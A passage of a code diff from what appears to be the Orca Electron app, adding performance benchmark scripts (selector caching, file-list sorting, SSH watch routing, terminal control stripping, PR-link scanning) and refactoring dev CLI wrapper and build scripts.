return false
}
}
return true
}
// One unrelated store write: every subscribed row re-runs its selector and the
// result is compared against the previous one to decide whether to re-render.
function simulateWrite(selector, state, rows, previous) {
let changed = 0
for (let row = 0; row < rows; row += 1) {
const next = selector(state, `repo-${row}`)
if (!shallowEqual(previous[row], next)) {
changed += 1
}
previous[row] = next
}
return changed
}
function measure(selector, state, rows) {
const previous = Array.from({ length: rows }, () => null)
for (let index = 0; index < WARMUP; index += 1) {
simulateWrite(selector, state, rows, previous)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < WRITES; index += 1) {
simulateWrite(selector, state, rows, previous)
}
samples.push((performance.now() - start) / WRITES)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const settings = makeSettings()
const rowCounts = [1, 10, ROWS, 100]
const rows = []
for (const rowCount of rowCounts) {
const state = { repos: makeRepos(Math.max(rowCount, ROWS)), settings }
const cached = makeCachedSelector()
// Equivalence: both selectors must produce the same value for every row.
for (let row = 0; row < rowCount; row += 1) {
const before = selectorBefore(state, `repo-${row}`)
const after = cached(state, `repo-${row}`)
if (!shallowEqual(before, after)) {
throw new Error(`selector mismatch at repo-${row}`)
}
}
rows.push({
rowCount,
beforeMs: measure(selectorBefore, state, rowCount),
afterMs: measure(makeCachedSelector(), state, rowCount)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log(`Owner-routed settings selector, per unrelated store write`)
console.log(
`GlobalSettings fields=${SETTINGS_FIELDS} writes=${WRITES} warmup=${WARMUP} (median of 5 rounds)`
)
console.log(`${pad('rows', 6)} ${pad('before ms', 11)} ${pad('after ms', 10)} ${pad('speedup', 9)}`)
for (const row of rows) {
console.log(
`${pad(row.rowCount, 6)} ${pad(row.beforeMs.toFixed(4), 11)} ${pad(row.afterMs.toFixed(4), 10)} ${pad(`${(row.beforeMs / row.afterMs).toFixed(0)}x`, 9)}`
)
}
console.log(
`\nrows = subscribed selector call sites on screen (~${ROWS} across PullRequestPage/TaskPage).\nThe cost is paid on EVERY store write, including writes that touch nothing\nthese selectors read.`
)
+6 -29
View File
@@ -1,7 +1,6 @@
import { execFileSync, spawn } from 'node:child_process'
import { createHash } from 'node:crypto'
import {
chmodSync,
cpSync,
existsSync,
lstatSync,
@@ -17,6 +16,7 @@ import {
import net from 'node:net'
import { createRequire } from 'node:module'
import path from 'node:path'
import { prepareDevCliTerminalWrappers } from './dev-cli-terminal-wrapper.mjs'
// Why: Electron-based hosts (e.g. Claude Code, VS Code) set
// ELECTRON_RUN_AS_NODE=1 in their terminal environment. If this leaks into
@@ -314,35 +314,12 @@ function getDevUserDataPath() {
}
function prepareDevCliWrapper() {
const binDir = path.join(repoRoot, 'out', 'bin')
mkdirSync(binDir, { recursive: true })
const userDataPath = getDevUserDataPath()
const userDataBinDir = path.join(userDataPath, 'cli', 'bin')
const cliPath = path.join(repoRoot, 'out', 'cli', 'index.js')
const electronBin = getElectronExecutable()
if (process.platform === 'win32') {
writeFileSync(
path.join(binDir, 'orca-dev.cmd'),
`@echo off\r\nset "ORCA_USER_DATA_PATH=${userDataPath}"\r\nset "ORCA_APP_EXECUTABLE=${electronBin}"\r\nset "ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1"\r\nnode "${cliPath}" %*\r\n`,
'utf8'
)
} else {
const wrapperContent = `#!/usr/bin/env bash\nexport ORCA_USER_DATA_PATH=${JSON.stringify(userDataPath)}\nexport ORCA_APP_EXECUTABLE=${JSON.stringify(electronBin)}\nexport ORCA_APP_EXECUTABLE_NEEDS_APP_ROOT=1\nexec node ${JSON.stringify(cliPath)} "$@"\n`
const wrapperPath = path.join(binDir, 'orca-dev')
writeFileSync(wrapperPath, wrapperContent, 'utf8')
chmodSync(wrapperPath, 0o755)
mkdirSync(userDataBinDir, { recursive: true })
for (const commandName of ['orca-dev', 'orca']) {
const userDataWrapperPath = path.join(userDataBinDir, commandName)
// Why: dev Orca terminals prepend this directory to PATH; refreshing the
// `orca` alias prevents stale global/userData wrappers from hijacking
// Orca-owned commands such as `orca claude-teams`.
writeFileSync(userDataWrapperPath, wrapperContent, 'utf8')
chmodSync(userDataWrapperPath, 0o755)
}
}
const { binDir } = prepareDevCliTerminalWrappers({
repoRoot,
userDataPath,
electronExecutable: getElectronExecutable()
})
process.env.PATH = `${binDir}${path.delimiter}${process.env.PATH ?? ''}`
console.log(`[orca-dev] Prepared wrapper in ${binDir}`)
@@ -0,0 +1,43 @@
import { spawn } from 'node:child_process'
import { fileURLToPath } from 'node:url'
const buildScript = fileURLToPath(new URL('./run-electron-vite-build.mjs', import.meta.url))
const targetConfig = fileURLToPath(new URL('../electron-vite-target.config.ts', import.meta.url))
const targets = ['main', 'preload', 'renderer']
function buildTarget(target) {
return new Promise((resolve, reject) => {
const child = spawn(
process.execPath,
[buildScript, '--config', targetConfig, '--ignoreConfigWarning'],
{
stdio: 'inherit',
env: {
...process.env,
ORCA_ELECTRON_VITE_TARGET: target
}
}
)
child.on('error', reject)
child.on('exit', (code, signal) => {
if (signal) {
reject(new Error(`Electron Vite ${target} build exited with signal ${signal}`))
} else if (code !== 0) {
reject(new Error(`Electron Vite ${target} build exited with code ${code}`))
} else {
resolve()
}
})
})
}
const results = await Promise.allSettled(targets.map(buildTarget))
const failures = results.filter((result) => result.status === 'rejected')
if (failures.length > 0) {
for (const failure of failures) {
console.error(failure.reason)
}
process.exit(1)
}
@@ -0,0 +1,116 @@
#!/usr/bin/env node
// Benchmark: cost of sorting the Source Control changed-file list.
//
// compareGitStatusEntries called `a.path.localeCompare(b.path, undefined, {numeric:true})`.
// Passing an options object makes each call resolve a fresh ICU collator, so a
// sort paid for one per O(n log n) comparison. The fix hoists a single
// Intl.Collator, which is the idiom TaskPage.tsx already uses for Jira labels.
//
// The sort runs in a useMemo keyed on the entry list, so it re-runs on every git
// refresh that changes the working tree.
//
// Both arms sort the same generated list and their outputs are compared before
// timing, so a comparator that changed the order cannot be reported as a win.
import { execFileSync } from 'node:child_process'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const ITERATIONS = Number(process.env.ORCA_SC_SORT_BENCH_ITERATIONS ?? '25')
const WARMUP = Number(process.env.ORCA_SC_SORT_BENCH_WARMUP ?? '5')
for (const [name, value] of [
['ORCA_SC_SORT_BENCH_ITERATIONS', ITERATIONS],
['ORCA_SC_SORT_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function conflictRank(entry) {
if (entry.conflictStatus === 'unresolved') {
return 0
}
if (entry.conflictStatus === 'resolved_locally') {
return 1
}
return 2
}
// Pre-fix: resolves a collator per comparison.
function compareBefore(a, b) {
return (
conflictRank(a) - conflictRank(b) || a.path.localeCompare(b.path, undefined, { numeric: true })
)
}
// Post-fix: one hoisted collator, mirroring source-control-status-sort.ts.
const collator = new Intl.Collator(undefined, { numeric: true })
function compareAfter(a, b) {
return conflictRank(a) - conflictRank(b) || collator.compare(a.path, b.path)
}
// Why real repo paths in git's own order: `git status` emits byte-sorted paths,
// and a shuffled fixture inflates the win — a nearly-sorted array is the case
// this actually has to beat.
const REPO_PATHS = execFileSync('git', ['ls-files'], {
cwd: fileURLToPath(new URL('../..', import.meta.url)),
maxBuffer: 256 * 1024 * 1024
})
.toString()
.split('\n')
.filter(Boolean)
function makeEntries(count) {
const step = Math.max(1, Math.floor(REPO_PATHS.length / count))
const paths = []
for (let index = 0; index < REPO_PATHS.length && paths.length < count; index += step) {
paths.push(REPO_PATHS[index])
}
return paths.map((path, index) => ({
path,
area: 'unstaged',
status: 'modified',
...(index % 37 === 0 ? { conflictStatus: 'unresolved' } : {})
}))
}
function measure(compare, entries) {
for (let index = 0; index < WARMUP; index += 1) {
;[...entries].sort(compare)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
;[...entries].sort(compare)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
const pad = (value, width) => String(value).padStart(width)
console.log('Source Control changed-file sort, per git refresh. Lower is better.')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(`${pad('files', 7)} ${pad('per-call', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`)
// Sizes from the real distribution over 7,324 non-merge commits on this repo:
// p50 3, p75 7, p90 17, p95 26, p99 63, max 1626.
for (const count of [3, 17, 26, 63, 308, 1000]) {
const entries = makeEntries(count)
const before = [...entries].sort(compareBefore).map((entry) => entry.path)
const after = [...entries].sort(compareAfter).map((entry) => entry.path)
if (before.join('\n') !== after.join('\n')) {
throw new Error(`sort order differs at ${count} files`)
}
const beforeMs = measure(compareBefore, entries)
const afterMs = measure(compareAfter, entries)
console.log(
`${pad(count, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
)
}
console.log(
'\nSizes are the real changed-file distribution over 7,324 non-merge commits on\nthis repo (p50 3, p90 17, p95 26, p99 63), so the top rows are the common case.\nThis times the sort alone; the sort is roughly 85% of the Source Control\nprojection chain, so the end-to-end memo win is smaller than these ratios.'
)
@@ -0,0 +1,190 @@
#!/usr/bin/env node
// Benchmark: routing one `fs.changed` relay notification to SSH watch registrations.
//
// routeSshFilesystemWatchNotification called isPathInsideOrEqual(root, event.path)
// for every (registration x event) pair. That helper NFC-normalizes BOTH sides, so
// each event path was re-normalized once per watch root, and each root was
// re-normalized once per event -- O(roots * events) normalizations for what is
// O(roots + events) distinct work.
//
// The fix normalizes each event path once up front and builds one pre-normalized
// matcher per root, leaving only string compare in the inner loop.
//
// This is a hot path on SSH: the relay watcher batches up to MAX_BATCHED_WATCHER_EVENTS
// per notify, and a single `git checkout` or `pnpm install` on the remote host emits
// thousands of paths through it.
//
// Both arms are run against the same inputs and their outputs are compared before
// timing, so a matcher that changed which events route where cannot be reported as
// a win. The normalizer is imported from the real module (via tsx) rather than
// re-modelled here, so folding-rule drift cannot silently invalidate the result.
import { execFileSync } from 'node:child_process'
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const REPO_ROOT = fileURLToPath(new URL('../..', import.meta.url))
const ITERATIONS = Number(process.env.ORCA_SSH_WATCH_BENCH_ITERATIONS ?? '200')
const WARMUP = Number(process.env.ORCA_SSH_WATCH_BENCH_WARMUP ?? '30')
for (const [name, value] of [
['ORCA_SSH_WATCH_BENCH_ITERATIONS', ITERATIONS],
['ORCA_SSH_WATCH_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isSafeInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
// Why re-read the source: this benchmark's whole claim is that the normalizer is
// the expensive part. If someone makes it cheap (or drops the NFC fold), the
// numbers below stop meaning what the header says, so fail loudly instead.
const PATH_SOURCE = readFileSync(
new URL('../../src/shared/cross-platform-path.ts', import.meta.url),
'utf8'
)
for (const marker of ['normalize(', 'createNormalizedPathInsideOrEqualMatcher']) {
if (!PATH_SOURCE.includes(marker)) {
throw new Error(`cross-platform-path.ts no longer contains ${marker}; this benchmark is stale`)
}
}
// Import the real normalizer so both arms fold paths exactly as production does.
const {
normalizeRuntimePathForComparison,
isPathInsideOrEqual,
createNormalizedPathInsideOrEqualMatcher
} = await import(new URL('../../src/shared/cross-platform-path.ts', import.meta.url).href)
// Pre-fix: mirrors the original routeSshFilesystemWatchNotification inner loop.
function routeBefore(roots, events, sink) {
for (const rootPath of roots) {
const matching = events.filter((event) => isPathInsideOrEqual(rootPath, event.absolutePath))
if (matching.length > 0) {
sink(rootPath, matching)
}
}
}
// Post-fix: mirrors the current implementation.
function routeAfter(roots, events, sink) {
const normalizedEvents = events.map((event) => ({
event,
normalizedPath: normalizeRuntimePathForComparison(event.absolutePath)
}))
for (const rootPath of roots) {
const isInsideRoot = createNormalizedPathInsideOrEqualMatcher(rootPath)
const matching = normalizedEvents
.filter(({ normalizedPath }) => isInsideRoot(normalizedPath))
.map(({ event }) => event)
if (matching.length > 0) {
sink(rootPath, matching)
}
}
}
// Why real repo paths: path length and segment count drive normalization cost, and
// a synthetic `/a/b/c` fixture would understate it against real source trees.
const REPO_PATHS = execFileSync('git', ['ls-files'], {
cwd: REPO_ROOT,
maxBuffer: 256 * 1024 * 1024
})
.toString()
.split('\n')
.filter(Boolean)
// A remote host running several worktrees: each is its own watch root, and the
// file explorer plus the worktree-base-directory watcher both register.
function makeRoots(count) {
return Array.from({ length: count }, (_, index) => `/home/dev/worktrees/orca-${index}`)
}
function makeEvents(roots, count) {
const events = []
for (let index = 0; index < count; index += 1) {
// Spread events across roots so most roots match some events, as a real
// multi-worktree checkout does. Paths outside any root also occur (node_modules
// of a sibling checkout), so include a slice of those too.
const root = index % 11 === 0 ? '/home/dev/other-checkout' : roots[index % roots.length]
events.push({
kind: 'update',
absolutePath: `${root}/${REPO_PATHS[index % REPO_PATHS.length]}`
})
}
return events
}
function collect(roots, events, route) {
const seen = []
route(roots, events, (rootPath, matching) =>
seen.push(`${rootPath} ${matching.map((event) => event.absolutePath).join(',')}`)
)
return seen.join('\n')
}
// Why interleaved: running one arm's whole batch before the other's lets CPU
// frequency drift and background load correlate with the arm being measured. On a
// loaded machine that alone swung the 12x200 row between 6.7x and 23.3x. Alternating
// per round and taking per-arm medians keeps the drift common to both.
function measureInterleaved(roots, events) {
const noop = () => undefined
for (let index = 0; index < WARMUP; index += 1) {
routeBefore(roots, events, noop)
routeAfter(roots, events, noop)
}
const beforeSamples = []
const afterSamples = []
for (let round = 0; round < 5; round += 1) {
let start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
routeBefore(roots, events, noop)
}
beforeSamples.push((performance.now() - start) / ITERATIONS)
start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
routeAfter(roots, events, noop)
}
afterSamples.push((performance.now() - start) / ITERATIONS)
}
beforeSamples.sort((a, b) => a - b)
afterSamples.sort((a, b) => a - b)
return { beforeMs: beforeSamples[2], afterMs: afterSamples[2] }
}
const pad = (value, width) => String(value).padStart(width)
console.log('SSH fs.changed fan-out, per relay notification. Lower is better.')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(
`${pad('roots', 6)} ${pad('events', 7)} ${pad('per-pair', 11)} ${pad('hoisted', 11)} ${pad('speedup', 9)}`
)
// roots x events: 3x20 is a typical few-worktree session with a small save; the
// larger rows are a remote `git checkout` or `pnpm install` storm, which the relay
// batches up to MAX_BATCHED_WATCHER_EVENTS (5,000) per notification.
for (const [rootCount, eventCount] of [
[3, 20],
[6, 50],
[12, 200],
[25, 500],
[25, 5000]
]) {
const roots = makeRoots(rootCount)
const events = makeEvents(roots, eventCount)
const before = collect(roots, events, routeBefore)
const after = collect(roots, events, routeAfter)
if (before !== after) {
throw new Error(`routing differs at ${rootCount} roots x ${eventCount} events`)
}
if (!before.includes(' ')) {
throw new Error(`fixture routed nothing at ${rootCount} roots x ${eventCount} events`)
}
const { beforeMs, afterMs } = measureInterleaved(roots, events)
console.log(
`${pad(rootCount, 6)} ${pad(eventCount, 7)} ${pad(`${beforeMs.toFixed(3)} ms`, 11)} ${pad(`${afterMs.toFixed(3)} ms`, 11)} ${pad(`${(beforeMs / afterMs).toFixed(1)}x`, 9)}`
)
}
console.log(
'\nThis times routing only. The saving scales with roots x events, so it is small\nfor a single-worktree session and largest during a remote checkout storm, which\nis exactly when the main process is already busy.'
)
@@ -0,0 +1,202 @@
#!/usr/bin/env node
// Mirrors the complete pre/post stripTerminalControl paths at their production size caps.
import { performance } from 'node:perf_hooks'
const ESC = String.fromCharCode(0x1b)
const BEL = String.fromCharCode(0x07)
const ANSI_ESCAPE_RE = new RegExp(
`${ESC}(?:[@-Z\\\\-_]|\\[[0-?]*[ -/]*[@-~]|\\][^${BEL}]*(?:${BEL}|${ESC}\\\\))`,
'g'
)
const INCOMPLETE_ANSI_ESCAPE_RE = new RegExp(
`${ESC}(?:\\[[0-?]*[ -/]*|\\][^${BEL}${ESC}]*|\\S?)?$`,
'g'
)
const HISTORY_LIMIT = 300
const SCAN_LIMIT = 4096
const SAMPLE_ID_LENGTH = 24
const ITERATIONS = Number(process.env.ORCA_STRIP_BENCH_ITERATIONS ?? '501')
let resultChecksum = 0
let validatedPairs = 0
if (!Number.isSafeInteger(ITERATIONS) || ITERATIONS <= 0) {
throw new Error(`ORCA_STRIP_BENCH_ITERATIONS must be a positive integer, got ${ITERATIONS}`)
}
function isStrippedCode(code) {
return (code <= 0x1f && code !== 0x0a && code !== 0x0d) || (code >= 0x7f && code <= 0x9f)
}
function terminalControlMayAffectText(data) {
for (let index = 0; index < data.length; index += 1) {
const code = data.charCodeAt(index)
if (
code === 0x0d ||
code === 0x1b ||
(code <= 0x1f && code !== 0x0a) ||
(code >= 0x7f && code <= 0x9f)
) {
return true
}
}
return false
}
function stripPerChar(data) {
if (!terminalControlMayAffectText(data)) {
return data
}
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
let output = ''
for (let index = 0; index < withoutAnsi.length; index += 1) {
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
continue
}
output += withoutAnsi[index]
}
return output
}
function stripSliceRuns(data) {
if (!terminalControlMayAffectText(data)) {
return data
}
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
let output = ''
let runStart = 0
for (let index = 0; index < withoutAnsi.length; index += 1) {
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
if (index > runStart) {
output += withoutAnsi.slice(runStart, index)
}
runStart = index + 1
}
}
return runStart === 0 ? withoutAnsi : output + withoutAnsi.slice(runStart)
}
function fixedSampleId(sampleId) {
return `sample:${sampleId}`.padEnd(SAMPLE_ID_LENGTH, '_').slice(0, SAMPLE_ID_LENGTH)
}
function makeTuiFixture(length, sampleId, strippedControl) {
const lines = [
`${strippedControl}\x1b[35m✻ Thinking...\x1b[0m\r\n`,
' ⏺ Running tests... 42 passed, 0 failed\r\n'
]
let text = `${fixedSampleId(sampleId)}\r\n`
for (let lineIndex = 0; ; lineIndex += 1) {
const next = lines[lineIndex % lines.length]
if (text.length + next.length > length) {
break
}
text += next
}
return text + 'x'.repeat(length - text.length)
}
function makeDenseFixture(length, sampleId, strippedControl) {
const prefix = `\x1b[35m${fixedSampleId(sampleId)}`
const suffix = '\x1b[0m'
const bodyLength = length - prefix.length - suffix.length
const body = `x${strippedControl}`.repeat(Math.floor(bodyLength / 2))
return `${prefix}${body}${bodyLength % 2 === 0 ? '' : 'x'}${suffix}`
}
function median(samples) {
const sorted = [...samples].sort((a, b) => a - b)
const middle = Math.floor(sorted.length / 2)
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
}
function measure(strip, fixture) {
const start = performance.now()
const output = strip(fixture)
return { elapsed: performance.now() - start, output }
}
function consumeOutput(output) {
resultChecksum = Math.imul(resultChecksum ^ output.length, 16777619) >>> 0
resultChecksum ^= output.charCodeAt(Math.floor(output.length / 2))
}
function recordPair(fixture, sampleId, perCharFirst, samples) {
const perCharFixture = fixture.make(sampleId, perCharFirst ? '\x01' : '\x02')
const sliceRunsFixture = fixture.make(sampleId, perCharFirst ? '\x02' : '\x01')
if (
perCharFixture === sliceRunsFixture ||
perCharFixture.length !== fixture.length ||
sliceRunsFixture.length !== fixture.length
) {
throw new Error(`invalid inputs for ${fixture.label}, sample ${sampleId}`)
}
let perCharResult
let sliceRunsResult
if (perCharFirst) {
perCharResult = measure(stripPerChar, perCharFixture)
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
} else {
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
perCharResult = measure(stripPerChar, perCharFixture)
}
if (perCharResult.output !== sliceRunsResult.output) {
throw new Error(`strip mismatch for ${fixture.label}, sample ${sampleId}`)
}
consumeOutput(perCharResult.output)
consumeOutput(sliceRunsResult.output)
validatedPairs += 1
samples.perChar.push(perCharResult.elapsed)
samples.sliceRuns.push(sliceRunsResult.elapsed)
}
const denseBodyLength = SCAN_LIMIT - '\x1b[35m'.length - SAMPLE_ID_LENGTH - '\x1b[0m'.length
const denseControlPercent = ((Math.floor(denseBodyLength / 2) / SCAN_LIMIT) * 100).toFixed(1)
const fixtures = [
{
label: `${HISTORY_LIMIT} history TUI`,
length: HISTORY_LIMIT,
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT, sampleId, control)
},
{
label: `${HISTORY_LIMIT + 1} boundary TUI`,
length: HISTORY_LIMIT + 1,
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT + 1, sampleId, control)
},
{
label: `${SCAN_LIMIT} scan TUI`,
length: SCAN_LIMIT,
make: (sampleId, control) => makeTuiFixture(SCAN_LIMIT, sampleId, control)
},
{
label: `${SCAN_LIMIT} scan ${denseControlPercent}% C0`,
length: SCAN_LIMIT,
make: (sampleId, control) => makeDenseFixture(SCAN_LIMIT, sampleId, control)
}
]
const pad = (value, width) => String(value).padStart(width)
console.log('Complete stripTerminalControl path. Lower is better.')
console.log(
`iterations=${ITERATIONS} (${ITERATIONS * 2} first-touch samples/implementation, counterbalanced median)`
)
console.log(
`${pad('fixture', 25)} ${pad('per-char', 11)} ${pad('slice runs', 12)} ${pad('speedup', 9)}`
)
for (const fixture of fixtures) {
const samples = { perChar: [], sliceRuns: [] }
for (let index = 0; index < ITERATIONS; index += 1) {
const orders = index % 2 === 0 ? [true, false] : [false, true]
for (const perCharFirst of orders) {
const orderLabel = perCharFirst ? 'per-first' : 'slice-first'
recordPair(fixture, `${index}:${orderLabel}`, perCharFirst, samples)
}
}
const perChar = median(samples.perChar)
const sliceRuns = median(samples.sliceRuns)
console.log(
`${pad(fixture.label, 25)} ${pad(`${(perChar * 1000).toFixed(1)} us`, 11)} ${pad(`${(sliceRuns * 1000).toFixed(1)} us`, 12)} ${pad(`${(perChar / sliceRuns).toFixed(2)}x`, 9)}`
)
}
console.log(`\nvalidated=${validatedPairs} measured pairs, result checksum=${resultChecksum >>> 0}`)
console.log('Production calls are bounded to 4096, 4096, 300, and 301 code units.')
@@ -0,0 +1,221 @@
#!/usr/bin/env node
// Benchmark: per-chunk cost of the GitHub PR-link carry scan on the PTY output path.
//
// createTerminalGitHubPRLinkDetector() runs on every PTY chunk (renderer
// pty-connection + parked-terminal-byte-watcher). Before the fix,
// getPotentialGitHubPRCarry() ran `lastIndexOf` for BOTH http scheme prefixes
// across the entire combined chunk — even on the early-out path where the chunk
// provably has no `/pull/`. The carry it returns is always a suffix of at most
// MAX_CARRY_LENGTH (512) bytes, so every byte scanned before
// `length - 512` was guaranteed-wasted work.
//
// The fix bounds the scan to that trailing window. This script measures the
// scan itself across chunk sizes so the saved work is quantified.
//
// carryBefore/carryAfter are mirrors: node cannot import the .ts source, which is
// why the sibling benchmarks in this directory inline their subject too. The
// constants below are re-read from the real module at startup so a drifted cap or
// scheme list fails loudly here instead of quietly benchmarking dead code.
import { readFileSync } from 'node:fs'
import { performance } from 'node:perf_hooks'
import { fileURLToPath } from 'node:url'
const DETECTOR_SOURCE = readFileSync(
fileURLToPath(new URL('../../src/shared/terminal-github-pr-link-detector.ts', import.meta.url)),
'utf8'
)
function readMirroredConstants(source) {
const cap = source.match(/const MAX_CARRY_LENGTH = (\d+)/)
const prefixes = source.match(/const HTTP_SCHEME_PREFIXES = \[([^\]]+)\]/)
if (!cap || !prefixes) {
throw new Error(
'terminal-github-pr-link-detector.ts no longer exposes MAX_CARRY_LENGTH / HTTP_SCHEME_PREFIXES in the expected shape; re-sync this benchmark with the implementation.'
)
}
return {
maxCarryLength: Number(cap[1]),
httpSchemePrefixes: prefixes[1]
.split(',')
.map((entry) => entry.trim().replace(/^['"]|['"]$/g, ''))
.filter(Boolean)
}
}
const { maxCarryLength: MAX_CARRY_LENGTH, httpSchemePrefixes: HTTP_SCHEME_PREFIXES } =
readMirroredConstants(DETECTOR_SOURCE)
const ITERATIONS = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_ITERATIONS ?? '2000', 10)
const WARMUP = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_WARMUP ?? '200', 10)
for (const [name, value] of [
['ORCA_PR_CARRY_BENCH_ITERATIONS', ITERATIONS],
['ORCA_PR_CARRY_BENCH_WARMUP', WARMUP]
]) {
if (!Number.isInteger(value) || value <= 0) {
throw new Error(`${name} must be a positive integer, received ${value}`)
}
}
function hasTerminalUrlWhitespace(value, start, end) {
for (let index = start; index < end; index += 1) {
if (/\s/.test(value.charAt(index))) {
return true
}
}
return false
}
function endsWithHttpSchemePrefixFragment(value) {
for (const prefix of HTTP_SCHEME_PREFIXES) {
for (let length = Math.min(prefix.length - 1, value.length); length > 0; length--) {
if (value.endsWith(prefix.slice(0, length))) {
return value.slice(value.length - length)
}
}
}
return ''
}
// Pre-fix implementation, kept verbatim for comparison.
function carryBefore(value) {
const schemeIndex = Math.max(...HTTP_SCHEME_PREFIXES.map((prefix) => value.lastIndexOf(prefix)))
if (schemeIndex !== -1) {
const tailLength = value.length - schemeIndex
if (tailLength > MAX_CARRY_LENGTH) {
return ''
}
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
? ''
: value.slice(schemeIndex)
}
return endsWithHttpSchemePrefixFragment(value)
}
// Post-fix implementation, mirroring src/shared/terminal-github-pr-link-detector.ts.
function lastIndexOfHttpScheme(value, fromIndex) {
let lastIndex = -1
for (const prefix of HTTP_SCHEME_PREFIXES) {
const candidate =
fromIndex === undefined ? value.lastIndexOf(prefix) : value.lastIndexOf(prefix, fromIndex)
if (candidate > lastIndex) {
lastIndex = candidate
}
}
return lastIndex
}
function carryAfter(value) {
const windowStart = value.length > MAX_CARRY_LENGTH ? value.length - MAX_CARRY_LENGTH : 0
const window = windowStart === 0 ? value : value.slice(windowStart)
const schemeIndexInWindow = lastIndexOfHttpScheme(window)
if (schemeIndexInWindow !== -1) {
const schemeIndex = windowStart + schemeIndexInWindow
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
? ''
: value.slice(schemeIndex)
}
const fragment = endsWithHttpSchemePrefixFragment(window)
if (fragment === '' || windowStart === 0) {
return fragment
}
return lastIndexOfHttpScheme(value, windowStart - 1) === -1 ? fragment : ''
}
const GITHUB_PR_PATH_MARKER = '/pull/'
// Agent TUI output: no scheme anywhere, which is the overwhelmingly common case
// and the one where the old code scanned the full chunk to return ''. `tail`
// forces the chunk to end mid-scheme so the fallback branch is measured too.
function makeChunk(bytes, tail = '') {
const line = 'build output line with some text and punctuation, id=12345\n'
const filled = line.repeat(Math.ceil(bytes / line.length)).slice(0, bytes)
return tail ? filled.slice(0, bytes - tail.length) + tail : filled
}
// Why measure this too: the detector runs includes() over the whole chunk before
// the carry scan and the fix does not touch that cost, so timing the carry alone
// reports a win the hot path cannot actually realize. These fixtures never hold
// the marker, so this mirrors the early-out branch ordinary output takes.
function detectorEarlyOut(carry, value) {
if (value.includes(GITHUB_PR_PATH_MARKER)) {
throw new Error('benchmark fixture unexpectedly contains the PR marker')
}
return carry(value)
}
function measure(fn, chunk) {
for (let index = 0; index < WARMUP; index += 1) {
fn(chunk)
}
const samples = []
for (let round = 0; round < 5; round += 1) {
const start = performance.now()
for (let index = 0; index < ITERATIONS; index += 1) {
fn(chunk)
}
samples.push((performance.now() - start) / ITERATIONS)
}
samples.sort((a, b) => a - b)
return samples[2]
}
// Why non-empty fixtures: a chunk of ordinary text yields '' from both versions,
// so an equality check over it would pass even for a carry that always returns ''.
const EQUIVALENCE_FIXTURES = [
`noise ${'x'.repeat(400)}https://github.com/acme/orca/pull/7`,
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}`,
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}https`,
`${'x'.repeat(1000)}https`,
`${'x'.repeat(1000)}http`,
'https://github.com/acme/orca/pull/7 trailing words',
`${'y'.repeat(600)}`,
'',
'https://github.com/acme/orca/pull/7'
]
for (const fixture of EQUIVALENCE_FIXTURES) {
if (carryBefore(fixture) !== carryAfter(fixture)) {
throw new Error(
`carry mismatch on fixture (len ${fixture.length}): ${JSON.stringify(carryBefore(fixture))} vs ${JSON.stringify(carryAfter(fixture))}`
)
}
}
const SIZES = [4 * 1024, 16 * 1024, 64 * 1024, 256 * 1024, 1024 * 1024]
const rows = []
for (const bytes of SIZES) {
const chunk = makeChunk(bytes)
// 'with' ends in 'h', so the chunk terminates on a partial scheme fragment and
// the new code pays the extra bounded probe behind the window.
const fragmentChunk = makeChunk(bytes, 'with')
for (const sample of [chunk, fragmentChunk]) {
if (carryBefore(sample) !== carryAfter(sample)) {
throw new Error(`carry mismatch at ${bytes} bytes`)
}
}
rows.push({
chunk: `${(bytes / 1024).toFixed(0)} KiB`,
carry: measure(carryBefore, chunk) / measure(carryAfter, chunk),
path:
measure((value) => detectorEarlyOut(carryBefore, value), chunk) /
measure((value) => detectorEarlyOut(carryAfter, value), chunk),
fragment: measure(carryBefore, fragmentChunk) / measure(carryAfter, fragmentChunk)
})
}
const pad = (value, width) => String(value).padStart(width)
console.log('PR-link carry scan, per PTY chunk. Speedup = before / after (>1 is faster).')
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
console.log(
`${pad('chunk', 9)} ${pad('carry only', 12)} ${pad('detector path', 15)} ${pad('fragment tail', 15)}`
)
for (const row of rows) {
console.log(
